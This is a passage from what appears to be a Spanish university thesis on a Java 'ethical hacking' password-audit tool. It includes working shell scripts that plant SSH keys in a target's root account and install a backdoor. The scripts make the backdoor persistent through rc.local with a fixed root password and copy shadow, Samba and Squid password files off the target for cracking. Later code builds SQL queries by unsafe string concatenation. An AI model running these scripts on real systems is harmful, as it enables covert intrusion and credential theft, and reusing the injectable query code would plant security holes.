ssh-keygen -t rsa -f /root/.ssh/id_rsa -N "" -q

cp /root/.ssh/id_rsa /root/hacking_etico/utilitarios/id_rsa

cp /root/.ssh/id_rsa.pub /root/hacking_etico/utilitarios/id_rsa.pub

echo " Realizado..Generados los archivos id_rsa.pub e id_rsd"

echo " Se crearon unas copias de seguridad en la carpeta utilitarios del proyecto"

Page 119: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

104

El funcionamiento del script arriba detallado se basa en el tip ssh explicado

en las pagina anteriores el cual nos genera automáticamente dos archivos de

validación de llave pública, uno de los cuales va a ser renombrado y enviado

con destino a la maquina remota.

Con el siguiente proceso:

Process p_clear = Runtime.getRuntime().exec("netwox 114 -i "+ip_final+" -u

"+login+" -a "+passwd_final+" --remote-file /root/.ssh/authorized_keys");

Se va a realizar una “copia remota” de los archivos de llave pública

generados arriba, para que en la próxima autenticación que yo realice hacia

la maquina remota, ya no me pida el password de acceso. Si el archivo

existe, pudiendo ser que la maquina tenga algunas otras “de confianza” (muy

poco común, esto no se hace por motivos de seguridad) sobrescribe el

archivo, caso contrario, lo crea nuevo.

Con el proceso:

Process p_extraelo = Runtime.getRuntime().exec("/root/hacking_etico/

utilitarios/extract_passwd_shadow "+ip_final);

Vamos a proceder con la extracción remota de los archivos del sistema, en la

cual residan los passwords, y además vamos a hacer una jugada mas.

Explico:

Page 120: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

105

Se va a ejecutar un script el cual contiene el siguiente código:

#!/bin/sh

# script de ataque completo...solo para fines educativos.

echo " Iniciando....copiando exploit remoto y modificando archivos.."

scp -o StrictHostKeyChecking=no /root/hacking_etico/utilitarios/rc.local root@$1:/etc/rc.d/rc.local

echo " El archivo rc.local fue modificado.."

echo " Copiando y ejecutando el xploit.."

scp -o StrictHostKeyChecking=no /root/hacking_etico/utilitarios/fk.tgz root@$1:/var/tmp/fk.tgz

echo " Copiado el xploit..ejecutando.."

ssh root@$1 -C "tar -zxf /var/tmp/fk.tgz -C /var/tmp/"

ssh root@$1 -C "/bin/sh /var/tmp/fk-0.4/instalar"

echo " Implementado con exito el backdoor remoto.."

echo " user:root --> passwd:rootme.."

echo " Consulte con el manual de ayuda como obtener conexion remota ssh"

echo "Extraccion de los archivos de los passwd de la maquina remota"

echo "Procediendo a la extraccion de los archivos principales del sistema.."

scp -o StrictHostKeyChecking=no root@$1:/etc/passwd /root/hacking_etico/utilitarios/john-1.7.2/run/mypasswd

echo "Archivo /etc/passwd extraido de la maquina remota"

scp -o StrictHostKeyChecking=no root@$1:/etc/shadow /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow

echo "Archivo /etc/shadow extraido de la maquina remota "

echo "Extraccion de los archivos de passwords de samba...( si los hubiere )"

scp -o StrictHostKeyChecking=no root@$1:/etc/samba/smbpasswd /root/hacking_etico/utilitarios/john-1.7.2/run/mysmbpasswd

echo " Archivo /etc/samba/smbpasswd extraido de la maquina remota "

echo " Extraccion de los passwords de SQUID ( si los hubiere )"

scp -o StrictHostKeyChecking=no root@$1:/etc/squid/claves /root/hacking_etico/utilitarios/john-1.7.2/run/mysquidpasswd

echo " Archivo de passwords squid extraido de la maquina remota "

echo " finalizado con exito.."

Gráfico No. 60 Extract_Passwd_Shadow

Extracción remota de los archivos del sistema

Page 121: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

106

Como se ve en las primeras líneas del script, se va a introducir en la maquina

remota, un exploit modificado, con el solo fin de dejar un puerto abierto con

un user y passwd que yo determine, el cual es capaz de abrir una sesión tipo

ssh, autenticándome con el passwd que yo haya determinado en el exploit.

Este será el otro modo de acceder a la maquina en una próxima auditoria.

Con un backdoor creado por nosotros, en el caso de que el primer “truco” no

nos haya funcionado (es efectivo en el 90% de los casos), o en el caso de

que el archivo authorized_keys haya sido auditado y se hayan dado cuenta

de que fue adulterado. Por supuesto que el conocimiento de que puerto esta

abierto y el passwd de acceso lo conocerá SOLO la persona que realice el

ataque de auditoria. Este modo de proceder es muy peligroso ya que la

sesión que se abre es de tipo SSH, la cual da control sobre muchas cosas.

Además, la maquina atacada no es capaz de detectar el puerto que se dejo

abierto. Por lo cual, si alguna persona aparte del administrador del programa

se entera de la operación y del modo de ataque del exploit, pueden haber

graves problemas en la maquina atacada. Al final de este apartado se

mencionará como dejar a la maquina en su estado normal.

El modo de operación del exploit es el siguiente:

Empieza por crear un archivo rc.local en la maquina hacker, el cual va a ser

enviado posteriormente a la maquina a auditar, esto con el fin de que el

exploit que se envío remotamente se ejecute cada vez que se levante la

sesión de la maquina atacada.

Page 122: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

107

El contenido del archivo es el siguiente:

#!/bin/sh

# This script will be executed *after* all the other init scripts.

# You can put your own initialization stuff in here if you don't

# want to do the full Sys V style init stuff.

touch /var/lock/subsys/local

cd /var/tmp/

tar -zxf fk.tgz

cd fk-0.4

./instalar

Gráfico No. 61 Rc.Local

Como verán en las líneas arriba mostradas, se ha modificado el rc.local de tal

forma que ejecute el exploit que reside en una parte secreta de la maquina,

el cual cada vez que se inicie una sesión nueva, arrancará y nos dejará el

puerto abierto para la auditoria.

La idea final es ocultarlo y dejarlo en la maquina remota para que se ejecute

siempre que se levante esta, pero solo con fines de demostración se

sobrescribirá el archivo y si existiese, se lo crearía. Para revertir el proceso

de “infección” solo se eliminará el archivo y la PC vuelve a la normalidad.

Page 123: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

108

Las siguientes líneas del script serán para hacer la extracción remota de los

archivos, con un user y passwd conocidos. SOLO nos limitaremos a la

extracción de los archivos de los passwd de la maquina remota, más no otra

cosa. Solo se lo hará para fines de auditoria de seguridad. Estos archivos

una vez extraídos serán copiados a una carpeta del proyecto, renombrados,

para que el programa pueda continuar con el siguiente proceso.

Una vez capturados los respectivos archivos de passwords (los básicos a

extraer serán los del sistema, Smb y Squid), se procederá inmediatamente al

descifrado de los mismos, el proceso es el que se muestra en el siguiente

cuadro:

Gráfico No. 62 Ejecuta descifrado

Función para descifrar los archivos extraídos

public static boolean ejecuta_descifrado() throws Exception {

Process p_descifra = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios /analiza_passwd "+ip_final);

is_descifra = p_descifra.getInputStream(); br_descifra = new BufferedReader (new InputStreamReader (is_descifra)); aux_descifra = br_descifra.readLine(); while (aux_descifra!=null ) {

System.out.println (aux_descifra); cadena_total_descifra = cadena_total_descifra + '\n' + aux_descifra; aux_descifra = br_descifra.readLine(); } int status = p_descifra.waitFor(); return status == 0; } public String get_ip_analizada(){ return this.ip_final; }

Page 124: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

109

Lo básico aquí es la invocación a un script de descifrado de passwd, el cual

se encargará de “romper” los passwords que residan en los respectivos

archivos.

Dependiendo de la complejidad y la fortaleza de los passwd, este proceso

podría demorar minutos, horas, incluso días o meses enteros. Con lo cuál, ya

podremos determinar en un inicio el nivel de fortaleza de los mismos. A modo

de demostración se romperán passwords de palabras comunes y de longitud

5, con el fin de demostrar la funcionalidad del programa. En el capítulo de

pruebas del proyecto, se detallará a que tipo de ambientes fue sometida la

aplicación, y cual fue su resultado.

Todos los resultados de la ejecución de estos procesos, son guardados en

cadenas de datos, para su posterior visualización en la pantalla de java. Todo

el proceso en ejecución, se lo puede ver mediante una ventana terminal, o en

el output de NetBeans.

Clase hackeo.java

Esta clase básicamente, por medio de botones, invoca a las demás clases

que nos servirán para realizar las diferentes auditorias del sistema.

Los procesos principales de esta clase se muestran a continuación:

Page 125: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

110

Gráfico No. 63 Class hackeo

Invoca a otras clases

Clase parametros_análisis.java

En esta clase se controlarán los parámetros que se enviarán para que trabaje

la clase análisis del proyecto, que es la que se encarga de realizar el análisis

inteligente de cada password capturado de los archivos de los passwords.

Explicación: para una empresa o administrador del sistema, un password con

una seguridad considerada “alta” puede ser aquella que pase un porcentaje

de análisis del 60%, pero para otras personas ese criterio puede variar, podrá

ser menos, ejemplo, el 50%, o más, dependiendo de las exigencias, llegando

public class hackeo extends javax.swing.JFrame { /** Creates new form hackeo */ public hackeo(String host) { ip_final=host; initComponents(); } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void hacking_eticoActionPerformed(java.awt.event.ActionEvent evt) { hackeo hack = new hackeo(ip_final); hack.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void botonhackeoActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_attack_ftp attack1= new pantalla_attack_ftp(ip_final); attack1.show(); }

Page 126: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

111

por ejemplo al 70,80%, y así por el estilo. El proceso recibirá los valores

(medio, alto, bajo) ingresados por el usuario y validados, para que el

analizador, según esos criterios, pueda realizar el reporte del análisis.

Los procesos se muestran en el siguiente cuadro:

public class parametros_análisis extends javax.swing.JFrame { public parametros_análisis(String ip) { ip_final=ip; initComponents(); } private void boton_aceptarActionPerformed(java.awt.event.ActionEvent evt) { valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha=""; try{ valida_alto = text_alto.getText().trim(); for (int i =0;i<valida_alto.length();i++) { if(valida_alto.charAt(i) != '0' && valida_alto.charAt(i) != '1' && valida_alto.charAt(i) != '2' && valida_alto.charAt(i) != '3' && valida_alto.charAt(i) != '4' && valida_alto.charAt(i) != '5' && valida_alto.charAt(i) != '6' && valida_alto.charAt(i) != '7' && valida_alto.charAt(i) != '8' && valida_alto.charAt(i) != '9') { flag_alto = true; } if (i>1) { flag_alto = true; } } ……… //se valida el ingreso de los % alto, medio, bajo valida_bajo = text_bajo.getText().trim(); for (int i =0;i<valida_bajo.length();i++) { if(valida_bajo.charAt(i) != '0' && valida_bajo.charAt(i) != '1' && valida_bajo.charAt(i) != '2' && valida_bajo.charAt(i) != '3' && valida_bajo.charAt(i) != '4' && valida_bajo.charAt(i) != '5' && valida_bajo.charAt(i) != '6' && valida_bajo.charAt(i) != '7' && valida_bajo.charAt(i) != '8' && valida_bajo.charAt(i) != '9') { flag_bajo = true; } …… // se valida un ingreso de fecha correcta ( tiempo de expiración en días) valida_fecha = text_dias.getText().trim(); // valida fecha for (int i =0;i<valida_fecha.length();i++) { if(valida_fecha.charAt(i) != '0' && valida_fecha.charAt(i) != '1' && valida_fecha.charAt(i) != '2' && valida_fecha.charAt(i) != '3' && valida_fecha.charAt(i) != '4' && valida_fecha.charAt(i) != '5' && valida_fecha.charAt(i) != '6' && valida_fecha.charAt(i) != '7' && valida_fecha.charAt(i) != '8' && valida_fecha.charAt(i) != '9') { flag_fecha = true; } if (i>2) { flag_fecha = true;

} }

Page 127: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

112

Gráfico No. 64 Class Parametros_análisis

Gráfico No. 65 Class Parametros_análisis

Analiza los parámetros de seguridad

Como podemos apreciar en los cuadros anteriores, se valida todo el ingreso

de datos al sistema, con las condiciones explicadas en el manual de usuario.

Una vez ingresados correctamente los datos sobre los parámetros del

análisis, procedemos a ejecutar la siguiente clase que es la del análisis.

Clase análisis.java

Después del modulo de ataque remoto, esta es la clase más importante del

if (flag_fecha ==true) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","el campo días de vigencia de passwd debe ser un número de máximo tres dígitos", "ingrese un valor correcto de máximo dos dígitos", "vuelvalo a intentar..."); text_dias.settext(""); } // valida fecha if(valida_alto.trim()!="" && valida_bajo.trim()!="" && valida_medio.trim()!="" && valida_fecha.trim()!="" && fleg == false && flag_fecha ==false) { hide(); dispose(); análisis Análisis = new análisis(ip_final,valida_alto,valida_medio,valida_bajo,valida_fecha); Análisis.show(); }else{ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","los campos no están llenos completamente", "ingrese los valores correctos de maximo dos digitos","vuelvalo a intentar..."); alto=0; medio=0; bajo=0; valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; fleg = false; text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); text_dias.setText(""); } }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","los campos no estan llenos completamente","ingrese los valores correctos de maximo dos digitos","vuelvalo a intentar..."); alto=0; medio=0; bajo=0; valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha="";

…..

Page 128: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

113

proyecto, es la que me proporcionará un análisis de cada uno de los

passwords que se encuentren en los archivos recibidos de la maquina

remota y que el sistema haya podido romper, ofreciendo un análisis

inteligente de los mismos, ajustados a los criterios del usuario que se

recibieron de la clase anterior. Con lo cual se realizará un análisis y se

desplegarán los resultados por pantalla una vez que ya estén listos para

mostrar.

Las funciones principales se detallan a continuación:

Constructor que recibe todos los parámetros necesarios para su

funcionamiento, que serán los porcentajes seteados por el usuario en la

clase anterior (alto, medio, bajo, fecha de vigencia), la IP de la maquina a

analizar, transformándolos en sus respectivos valores numéricos para

someterlos al análisis.

public class análisis extends javax.swing.JFrame { /** Creamos una nueva instancia de la clase análisis */ public análisis(String ip_final,String valida_alto,String valida_medio,String valida_bajo,String valida_fecha) { ip_final_1=ip_final; a = valida_alto; b_c = valida_medio; c= valida_bajo; aux_fecha=valida_fecha; valida_alto_1=new Integer(valida_alto).intValue(); valida_medio_1=new Integer(valida_medio).intValue(); valida_bajo_1=new Integer(valida_bajo).intValue(); valida_fecha_1=new Integer(valida_fecha).intValue(); initComponents(); }

Page 129: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

114

Gráfico No. 66 class análisis

Proporciona un análisis de los password

El código que se muestra a continuación, me permite setear los resultados

del análisis en una tabla diseñada en la pantalla, capturando todos los

resultados del sistema en vectores, para recorrerlos y posteriormente

desplegar sus resultados en la tabla.

Page 130: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

115

Gráfico No. 67 boton_resultados

Setea los resultados del análisis en una tabla

private void boton_resultadosActionPerformed(java.awt.event.ActionEvent evt) { for (int i = 0; i < 99; i++) { for(int j=0;j<5;j++){ tabla_resultados_passwd.setValueAt("",i,j); } } for (int i = 0; i < 99; i++) { for(int j=0;j<3;j++){ tabla_resultados_passwd.setValueAt("",i,j); } } try { if (ejecuta_análisis()){ Msg a=new Msg("aviso","/root/hacking_etico/imagenes/escudo_u.jpg","espere un momento","se esta realizando el reporte de análisis","esto puede demorar varios minutos..."); boton_guardar_log1.setEnabled(true); }else{ msg a=new msg("error","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de análisis de contraseñas","consulte con la ayuda del sistema","gracias"); boton_guardar_log1.setEnabled(false); } } catch (Exception e) { e.printStackTrace(); msg a=new msg("aviso","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de análisis de contrase�as","consulte con la ayuda del sistema","gracias"); } text_analiza_passwd.setText(cadena_total_datos); System.out.println(cadena_total_analizar); for(int eg=0; eg < usuarios.length;eg++) { tabla_resultados_passwd.setValueAt(usuarios[eg],eg,0); } for(int eg1=0; eg1 < passwords.length;eg1++) {

tabla_resultados_passwd.setValueAt(passwords[eg1],eg1,1); } for(int eg2=0; eg2 < servicios.length;eg2++) { tabla_resultados_passwd.setValueAt(servicios[eg2],eg2,2); }

……

Page 131: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

116

Una función crítica de la clase es la que se muestra a continuación:

Gráfico No. 68 Ejecuta análisis

public static boolean ejecuta_análisis() throws Exception { Process p_squid = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/show-squid"); is_squid = p_squid.getInputStream(); br_squid = new BufferedReader (new InputStreamReader (is_squid)); aux_squid = br_squid.readLine(); while (aux_squid!=null ) //inicio while aux_squid { System.out.println (aux_squid); cadena_total_datos = cadena_total_datos + '\n' + aux_squid; if ( !( aux_squid.endsWith(" left") || aux_squid.equals("") ) ) //inicio if aux_squid { for (int ke_squid =0; ke_squid< aux_squid.length();ke_squid++)//inicio for ke_squid { if (aux_squid.charAt(ke_squid)==':')//inicio if empatar claves { usuarios[cusuarios]=aux_squid.substring(0,ke_squid); passwords[cpasswords]=aux_squid.substring(ke_squid+1); servicios[cservicios]="squid"; cusuarios++; cpasswords++;cservicios++; }//fin if }// fin for ke_squid } aux_squid = br_squid.readLine(); } p_squid.waitFor(); Process p_muestra = Runtime.getRuntime().exec("/root/hacking_e/utilitarios/show-passwd"); is_muestra = p_muestra.getInputStream(); br_muestra = new BufferedReader (new InputStreamReader (is_muestra)); aux_muestra = br_muestra.readLine(); while (aux_muestra!=null ) { System.out.println (aux_muestra); cadena_total_datos = cadena_total_datos + '\n' + aux_muestra; if (aux_muestra.endsWith("bash") || aux_muestra.endsWith("nologin")|| aux_muestra.endsWith(":")) // inicio if aux_muestra.end with(bash).. { int cache=0; for (int ke =0; ke< aux_muestra.length();ke++) { if (aux_muestra.charAt(ke)==':' && cache==0)//inicio if empatar claves {usuarios[cusuarios]=aux_muestra.substring(0,ke); cache++;cont_punt=ke; cusuarios++; }else{ if(aux_muestra.charAt(ke)==':' && cache ==1){ passwords[cpasswords]=aux_muestra.substring(cont_punt+1,ke); cache++; cpasswords++;} }//fin if empatar claves }// fin for if(aux_muestra.endsWith("bash"))//inicio if tt { servicios[cservicios]="sistema con privilegios"; cservicios++; }// fin if tt if(aux_muestra.endsWith("nologin")) { servicios[cservicios]="sistema sin privilegios"; cservicios++; } if(aux_muestra.endsWith(":")) { servicios[cservicios]="samba"; cservicios++; } }// fin if aux_muestra.end with(bash).. if (aux_muestra.startsWith("$1$")) { for (int ke =0; ke< aux_muestra.length();ke++) { if (aux_muestra.charAt(ke)==':') { cadena_total_analizar = cadena_total_analizar + aux_muestra.substring(ke+1) + '\n'; } } } aux_muestra = br_muestra.readLine(); }// fin while cadena_total_datos = cadena_total_datos + '\n' + "passwords-> " + '\n' +cadena_total_analizar; for(int i = 0; i < usuarios.length && usuarios[i]!= null; i++) { System.out.print("Usuario : " + usuarios[i] +'\n'); } ……

Page 132: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

117

En primera instancia, por medio de un script vamos a visualizar por pantalla

los passwords a ser auditados, se hacen los arreglos de vectores

respectivos, con el fin de acoplar los datos del análisis: usuarios, passwords,

% de análisis, estado (expirado, vigente), se despliega en el orden en que el

sistema los pudo desencriptar.

La función que se muestra en la tabla de abajo, empieza a realizar el análisis

inteligente de passwords. En primer lugar, se determinará si una clave de un

usuario determinado, se encuentra dentro de un diccionario que viene

incluido en el sistema. Si la palabra se encuentra allí, el % de seguridad

disminuirá, esto con el fin de advertir al final al administrador que la palabra

se la halló en diccionario, y que ese password es muy riesgoso seguir

usándolo.

Se procede entonces, a abrir un archivo plano el cual contiene todas las

palabras de diccionario las cuales son consideradas como “passwords

comunes”. Este tipo de archivo puede ser cambiado por el usuario del

sistema de acuerdo a su criterio, se puede colocar un diccionario más

especializado, o uno solo con palabras básicas. Esto se lo puede hacer

colocando en la respectiva carpeta del proyecto el archivo llamado

“diccionario_total”, el cual usa el sistema para realizar el rastreo de palabras

de diccionario. Cualquier otro archivo que se coloque deberá ir con ese

nombre en la ruta: /root/hacking_etico/utilitarios, y el sistema

Page 133: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

118

automáticamente, en el momento de hacer la búsqueda, sacará las palabras

de ese diccionario. La complejidad del mismo quedará a criterio del usuario

del programa. El sistema viene con un diccionario de palabras comunes (el

que viene por defecto), o se puede implementar uno tan complejo como se

desee, bajándolos desde Internet, que hay muchos, o generando nuestras

propias palabras con el generador de palabras del proyecto.

Grafico No. 69 Proceso de validación de fecha

for (int i= 0; i < passwords.length ;i++) { if (passwords[i]!=null) {

a_analizar= passwords[i]; u_usuario = usuarios[i];

a_contar = a_analizar.length(); //averiguar si es una palabra de dicionario

try{ is = new BufferedReader(new FileReader ("/root/hacking_etico/utilitarios/dic"));

while (is.ready() && diccionario==false) {

aax =(String)is.readLine();

System.out.println("recuperado de archivo:--> "+aax);

if (a_analizar.equals(aax)) {

diccionario=true; break; }

}

is.close(); }

catch (IOException e) {

System.out.println ("Error al leer el archivo"); }

try{ //Se averigua si esta caducado o en vigencia

Connection connection = ACCESS.ObtenerConexion();

Statement statement = connection.createStatement();

String SQL = "select * from reporte where direccion = '"+ip_final_1+"'";

ResultSet resultset = statement.executeQuery(SQL);

for(resultset=statement.executeQuery(SQL);resultset.next();)

{ System.out.println('\n'+"----pasamos y se ejecuto la consulta-----------"+'\n');

System.out.println("PASSWORD A ANALIZAR--> "+a_analizar); System.out.println("PERTENCE AL USUARIO--> "+u_usuario);

System.out.println("PASSWORD DE LA BASE--> " + resultset.getString("password"));

System.out.println("USUARIO DE LA BASE--> " + resultset.getString("usuario"));

System.out.println("LA IP A ANALIZAR ES:----->"+ ip_final_1);

if (a_analizar.equals(resultset.getString("password") ) && u_usuario.equals(resultset.getString("usuario") )) // inicio if compara usuario y passwd {

System.out.println('\n'+"-------PASAMOS Y SI HUBO COINCIDENCIA---------"+'\n');

try{

Connection connection1 = ACCESS.ObtenerConexion();

Statement statement1 = connection1.createStatement();

String SQL1 = "select fecha from reporte where usuario = '"+u_usuario+"' and password = '"+a_analizar+"'";

ResultSet resultset1 = statement1.executeQuery(SQL1);

Page 134: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

119

Gráfico No. 70 Proceso de validación de fecha

while (resultset1.next())// inicio while resultset fechas { Fecha time = new Fecha(); String fecha_sistema = time.getFecha();

System.out.println("LA FECHA DE HOY ES---> "+fecha_sistema); band_sist = false; int long_fecha_sistema=fecha_sistema.length();

String fecha_bd = resultset.getString("fecha"); int long_fecha_bd = fecha_bd.length(); band_bd = false; System.out.println("la fecha es---> "+fecha_bd); for (int u=0;u<long_fecha_bd;u++) { if (fecha_bd.charAt(u)=='/' && band_bd == false) {

dia= fecha_bd.substring(0,u); // recuperar los dias System.out.println("los dias de la fecha de la base de datos son:-- "+ dia);

dia_bd = new Integer(dia).intValue(); pos1= u;band_bd=true; }else{ if (fecha_bd.charAt(u)== '/' && band_bd ==true) { anio = fecha_bd.substring(u+1); anio_bd = new Integer(anio).intValue(); mes = fecha_bd.substring(pos1+1,u); mes_bd = new Integer(mes).intValue();

} }// fin if else }//fin for descompone fecha de la base for (int u1=0;u1<long_fecha_sistema;u1++) {

if (fecha_sistema.charAt(u1)=='/' && band_sist == false) { dia_sist= fecha_sistema.substring(0,u1); // recuperar los dias System.out.println("los dias de la fecha del sistema son:-- "+ dia_sist); dia_s = new Integer(dia_sist).intValue(); pos11= u1;band_sist=true;

}else{ if (fecha_sistema.charAt(u1)== '/' && band_sist ==true) {

anio_sistema = fecha_sistema.substring(u1+1); anio_s = new Integer(anio_sistema).intValue(); // buscar la conversion mes_sistema = fecha_sistema.substring(pos11+1,u1); mes_s = new Integer(mes_sistema).intValue(); } }// fin if else }//fin for

int valor_1 = (anio_bd*365)+(mes_bd*30)+(dia_bd); int valor_2 = (anio_s*365)+(mes_s*30)+(dia_s); int valor_total_1 = valor_2 - valor_1; if (valor_total_1 > valida_fecha_1) { System.out.println("valor parametro---- "+String.valueOf(valida_fecha_1));

fecha_coincide_1=true; System.out.println("ESTA EXPIRADO"); }// fin while resultset fechas connection1.commit(); statement1.close(); }catch (Exception e) { System.out.println("Error al consultar los datos no hay datos" + e); }// fin try consultar usuarios }else{ fecha_coincide = false; System.out.println("LA FECHA ES VALIDA"); }// fin if compara usuario y password

Page 135: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

120

En los dos cuadros anteriores se levanta el proceso de validación de fechas

de los passwords, el cual trabaja de la siguiente manera:

El password si estuvo registrado en el sistema, de una auditoria anterior, se

lo procederá a evaluar con respecto a su fecha de expiración, haciendo una

comparación del que este guardado en la base de datos contra el que

capturo el sistema. Determinaremos si el usuario coincide, y luego si el

password coincide, ya que si no hay coincidencia, el password esta aún

vigente. Si el usuario y la clave coinciden, la que estuvo guardada

previamente en la base con la que capturo recientemente el sistema, se

procede a levantar la función de verificación de fechas, del siguiente modo:

Se captura la fecha actual del sistema, y se la transforma en días, se captura

la fecha registrada en la base de datos sobre ese password, se la transforma

en días, se captura el parámetro ingresado por el usuario, que era la vigencia

del password según el usuario, dada en días, estos valores se comparan, se

suman y restan, y se determina su vigencia, como ejemplo, si para mi el

password solo tiene vigencia de 30 días, ingresaré el número 30 al sistema,

luego, si el password ya estaba registrado en la base de datos, con registro

de ingreso desde hace más de un mes, el sistema me devolvera como

resultado que el password ya esta expirado, caso contrario, mandará el

mansaje que está vigente todavía.

Page 136: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

121

Todos los passwords que ingresan por primera vez al sistema, ingresan

como validos, ya que no existe un registro previo de ellos en la base de

datos.

Todos estos datos de análisis se arreglan en cadenas para poder ser

presentados por pantalla cuando todo el proceso de análisis termine.

Después de esto, como se muestra en el cuadro de abajo, el password es

sometido al análisis letra a letra, para determinar cuantas mayúsculas,

números, especiales tiene y según ese criterio dar un porcentaje de análisis y

un valor de seguridad (bajo, medio, alto), esto se compara con los valores de

los porcentajes ingresados por el usuario, según estos porcentajes y los

generados por el sistema, se los compara, y al final se arman las cadenas de

datos con todos los valores obtenidos del análisis, por password, se los

desplegará de forma detallada en la pantalla del proyecto, y un resumen que

posteriormente puede ser guardado en la base de datos, a manera de tabla,

que se encuentra en la parte de debajo de la pantalla principal.

Nota: Este proceso puede demorar algún tiempo, dependiendo de la

complejidad de la palabra. Se deberá esperar a que el proceso termine por

completo.

Para el análisis de diccionario como se explico antes, se puede escoger el

diccionario para evaluar las palabras, mientras más grande sea el mismo,

más demora el sistema para mostrar resultados.

Page 137: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

122

Gráfico No. 71 Porcentaje de Seguridad

Se fija porcentaje de seguridad de acorde a políticas de la empresa

for ( int j=0;j<a_contar;j++){ char al= a_analizar.charAt(j); switch (al){ case 'a': contador_alfabeto++;

contador_minusculas++; longitud_password++;

evalua_secuencia(j,a_analizar,al); break;

case 'b': contador_alfabeto++;

contador_minusculas++; longitud_password++;

evalua_secuencia(j,a_analizar,al); break;

case 'c': contador_alfabeto++;

contador_minusculas++; longitud_password++;

evalua_secuencia(j,a_analizar,al); … cadena_total_datos=cadena_total_datos + '\n'+ Resultado del password "+a_analizar+'\n'; // 10% if (longitud_password <= 4 && contador_mayusculas ==0 && contador_números ==0 && contador_especiales ==0 && diccionario==true ) {

